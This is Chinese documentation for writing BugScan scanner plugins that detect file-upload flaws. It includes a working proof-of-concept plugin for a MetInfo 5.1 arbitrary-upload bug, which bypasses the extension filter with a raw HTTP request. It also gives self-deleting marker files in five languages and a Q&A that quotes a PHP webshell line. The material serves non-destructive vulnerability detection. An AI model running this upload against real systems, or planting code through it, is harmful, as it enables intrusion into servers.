文件上传类
文件上传类插件可以分两种方法进行上传:
raw (推荐)
直接发送 HTTP 原始报文,可直接从 BurpSuite 中复制该报文,使用 hackhttp 的 raw 发包形式来上传文件。
post
通过构造
enctype="multipart/form-data"
形式的 form 表单来上传文件。由于 MIME 类型较多,在处理时比较麻烦,官方推荐使用 raw 形式上传文件。
范例插件
MetInfo5.1 /feedback/uploadfile_save.php 任意文件上传
感谢插件作者: wonderkun
#!/usr/bin/evn python
# -*-:coding:utf-8 -*-
# Author: wonderkun
# Name: MetInfo5.1 任意文件上传 getshell
# Refer: http://www.wooyun.org/bugs/wooyun-2015-0139168
# Data: 2015/12/15
import time
def assign(service,arg):
if service == fingerprint.metinfo:
return True, arg
def audit(arg):
url = arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo"
raw = '''
POST /feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo HTTP/1.1
Host: localhost
Content-Length: 423
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE1toBNeESf6p0uXQ
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=hfqa37uap92gdaoc2nsco6g0n1
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="fd_para[1][para]"
filea
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="fd_para[1][type]"
5
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="filea"; filename="test.php"
Content-Type: application/x-php
<?php echo md5(1);unlink(__FILE__);?>
------WebKitFormBoundaryE1toBNeESf6p0uXQ--
'''
# proxy=('127.0.0.1',8080)
code1, head1, res1, finalurl1, log1 = hackhttp.http(url, raw=raw)
# get upload file name
name = int(time.time())
for i in range(3):
filename = name + i
url = arg + 'upload/file/%s.php' % (str(filename))
code2, head2, res2, finalurl2, log2 = hackhttp.http(url)
if code2 == 200 and "c4ca4238a0b923820dcc509a6f75849b" in res2:
# 只用传递触发漏洞的 log,验证上传成功的 log 不需要
security_hole('file upload Vulnerable:' + arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo", log=log1)
break
if __name__ == '__main__':
from dummy import *
audit(assign(fingerprint.metinfo, "http://127.0.0.1/metinfo5.1/")[1])
文件上传类插件检测步骤
- 上传指定文件到目标
- 访问上传后的文件
- 判断是不是 1 中上传的文件
文件上传类的插件原则
- 一般情况下要求上传可执行的文件,例如:php, asp, aspx, jsp
- 上传文件内容要求对目标不得造成任何形式的损害。
- 上传后的文件,在访问一次之后应该自删除。
- 文件名应该尽量随机,不要与正常文件名相同。
上传文件样例代码
BugScan 社区官方提供了以下几类语言的上传检测样本,供开发者参考,所有文件都会在访问一次之后自删除,如果无删除权限时,由于其只输出字符串,也不会造成太大危害。
PHP
<?php echo md5(233);unlink(__FILE__);?>
输出: e165421110ba03099a1c0393373c5b43
ASP
<%
Response.Write chr(101)&chr(49)&chr(54)&chr(53)&chr(52)&chr(50)&chr(49)&chr(49)&chr(49)&chr(48)&chr(98)&chr(97)&chr(48)&chr(51)&chr(48)&chr(57)&chr(57)&chr(97)&chr(49)&chr(99)&chr(48)&chr(51)&chr(57)&chr(51)&chr(51)&chr(55)&chr(51)&chr(99)&chr(53)&chr(98)&chr(52)&chr(51)
CreateObject("Scripting.FileSystemObject").DeleteFile(server.mappath(Request.ServerVariables("SCRIPT_NAME")))
%>
访问该文件后输出: e165421110ba03099a1c0393373c5b43
ASPX
<%@Page Language="C#"%>
<%
Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
System.IO.File.Delete(Request.PhysicalPath);
%>
访问该文件后输出:e165421110ba03099a1c0393373c5b43
JSP
<%
out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
new java.io.File(application.getRealPath(request.getServletPath())).delete();
%>
访问该文件后输出:e165421110ba03099a1c0393373c5b43
JSPX
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns="http://www.w3.org/1999/xhtml" version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page" xmlns:c="http://java.sun.com/jsp/jstl/core">
<jsp:directive.page contentType="text/html;charset=UTF-8" language="java" />
<jsp:scriptlet>
out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
new java.io.File(application.getRealPath(request.getServletPath())).delete();
</jsp:scriptlet>
</jsp:root>
访问该文件后输出:e165421110ba03099a1c0393373c5b43
文件上传 Q & A
Q: 为什么不能上传
eval($_POST[a]);
?A: 上传 webshell 会对目标造成危害,违反了无损扫描这一约定,并且上传内容中包含后门特征,容易被防护产品拦截。
Q: 为什么不能上传
phpinfo();
?A:
phpinfo();
看起来无害实际上却有着泄漏目标服务敏感信息的危害。如果在检测后忘记删除文件,会对其它攻击者提供便利。
Q: 为什么要自删除?
A: 自删除可保证在检测之后不会在目标系统中留下检测时产生的文件,对目标影响较小。如果上传的件名不是随机的,在下次上传时会出现写入不成功的情况。
Q: 为什么文件名要随机?
A: 文件名随机在检测没有重命名处理的上传点时好处有:
- 如果文件名与现有的文件同名,写入会失败或者覆盖原文件。
- 第一次检测上传成功,在修复漏洞后忘记删除该文件,下次检测时访问该文件会产生误报。